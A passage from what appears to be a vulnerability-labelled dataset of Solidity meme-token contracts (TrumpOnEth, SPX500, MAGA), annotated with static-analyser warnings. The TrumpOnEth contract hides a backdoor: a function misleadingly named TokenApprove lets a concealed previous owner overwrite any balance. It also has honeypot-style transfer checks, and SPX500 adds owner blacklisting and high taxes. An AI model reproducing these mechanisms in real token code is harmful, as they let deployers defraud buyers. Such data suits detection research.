currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transferlimits(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function TokenApprove(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgbyte = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevbyte = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgbyte == prevbyte;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract TrumpOnEth is ERC20 {\n uint256 private constant SIPPL_TLTL = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e8d10c7): TrumpOnEth.DEAD shadows ERC20.DEAD\n\t// Recommendation for e8d10c7: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 692c172): TrumpOnEth.ZERO shadows ERC20.ZERO\n\t// Recommendation for 692c172: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a845740): TrumpOnEth.maxApprove should be immutable \n\t// Recommendation for a845740: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxApprove;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cab9263): TrumpOnEth.maxswap should be immutable \n\t// Recommendation for cab9263: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxswap;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8d8da1e): TrumpOnEth._MinBuns should be constant \n\t// Recommendation for 8d8da1e: Add the 'constant' attribute to state variables that never change.\n uint256 _MinBuns = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3ba8ec7): TrumpOnEth.uniswapV2Router should be immutable \n\t// Recommendation for 3ba8ec7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(\"Trump on Eth\", \"TRUMP ON ETH\", SIPPL_TLTL) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxswap = SIPPL_TLTL / 50;\n\n maxApprove = SIPPL_TLTL / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burnt = (amount * _MinBuns) / 100;\n\n super._transferlimits(from, to, amount, _burnt);\n\n return;\n }\n }\n\n super._transfer(from, to, amount);\n }\n\n function _checkLimitation(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxApprove, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxswap,\n \"Max hold exceeded max\"\n );\n }\n }\n }\n\n function removeLimit() external onlyOwner {\n hasLimit = true;\n }\n}\n",
"file_name": "solidity_code_10557.sol",
"size_bytes": 13306,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SPX500 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8f1333c): SPX500._taxWallet should be immutable \n\t// Recommendation for 8f1333c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2344e36): SPX500._initialBuyTax should be constant \n\t// Recommendation for 2344e36: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9236514): SPX500._initialSellTax should be constant \n\t// Recommendation for 9236514: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 27;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0152dc5): SPX500._reduceBuyTaxAt should be constant \n\t// Recommendation for 0152dc5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab3776a): SPX500._reduceSellTaxAt should be constant \n\t// Recommendation for ab3776a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f5357d): SPX500._preventSwapBefore should be constant \n\t// Recommendation for 7f5357d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"S&P500\";\n\n string private constant _symbol = unicode\"SPX\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 29a0097): SPX500._taxSwapThreshold should be constant \n\t// Recommendation for 29a0097: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51dd807): SPX500._maxTaxSwap should be constant \n\t// Recommendation for 51dd807: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b5016c): SPX500.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b5016c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 80e6d94): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 80e6d94: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2c9e37b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2c9e37b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 80e6d94\n\t\t// reentrancy-benign | ID: 2c9e37b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 80e6d94\n\t\t// reentrancy-benign | ID: 2c9e37b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 244ec77): SPX500._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 244ec77: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2c9e37b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 80e6d94\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ff7b413): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ff7b413: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cd60f6c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cd60f6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ff7b413\n\t\t\t\t// reentrancy-eth | ID: cd60f6c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ff7b413\n\t\t\t\t\t// reentrancy-eth | ID: cd60f6c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: cd60f6c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: cd60f6c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cd60f6c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ff7b413\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cd60f6c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cd60f6c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ff7b413\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ff7b413\n\t\t// reentrancy-events | ID: 80e6d94\n\t\t// reentrancy-benign | ID: 2c9e37b\n\t\t// reentrancy-eth | ID: cd60f6c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4c64222): SPX500.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4c64222: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ff7b413\n\t\t// reentrancy-events | ID: 80e6d94\n\t\t// reentrancy-eth | ID: cd60f6c\n\t\t// arbitrary-send-eth | ID: 4c64222\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 19ff605): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 19ff605: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d55d95f): SPX500.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d55d95f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 040df4b): SPX500.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 040df4b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 67d12b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 67d12b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 19ff605\n\t\t// reentrancy-eth | ID: 67d12b5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 19ff605\n\t\t// unused-return | ID: 040df4b\n\t\t// reentrancy-eth | ID: 67d12b5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 19ff605\n\t\t// unused-return | ID: d55d95f\n\t\t// reentrancy-eth | ID: 67d12b5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 19ff605\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 67d12b5\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10558.sol",
"size_bytes": 19504,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MAGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b12985e): MAGA._taxWallet should be immutable \n\t// Recommendation for b12985e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 94ffaad): MAGA._initialBuyTax should be constant \n\t// Recommendation for 94ffaad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b02b7c9): MAGA._initialSellTax should be constant \n\t// Recommendation for b02b7c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0602a1): MAGA._reduceBuyTaxAt should be constant \n\t// Recommendation for a0602a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe6457a): MAGA._reduceSellTaxAt should be constant \n\t// Recommendation for fe6457a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: aee60e1): MAGA._preventSwapBefore should be constant \n\t// Recommendation for aee60e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Forever Trump\";\n\n string private constant _symbol = unicode\"MAGA\";\n\n uint256 public _maxTxAmount = 3000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 3000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1642ffc): MAGA._taxSwapThreshold should be constant \n\t// Recommendation for 1642ffc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1551d35): MAGA._maxTaxSwap should be constant \n\t// Recommendation for 1551d35: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fba9ebe): MAGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 